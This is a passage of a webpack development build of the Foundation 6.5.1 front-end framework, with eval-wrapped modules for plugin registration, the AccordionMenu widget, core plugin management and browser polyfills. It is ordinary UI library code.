*/ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, 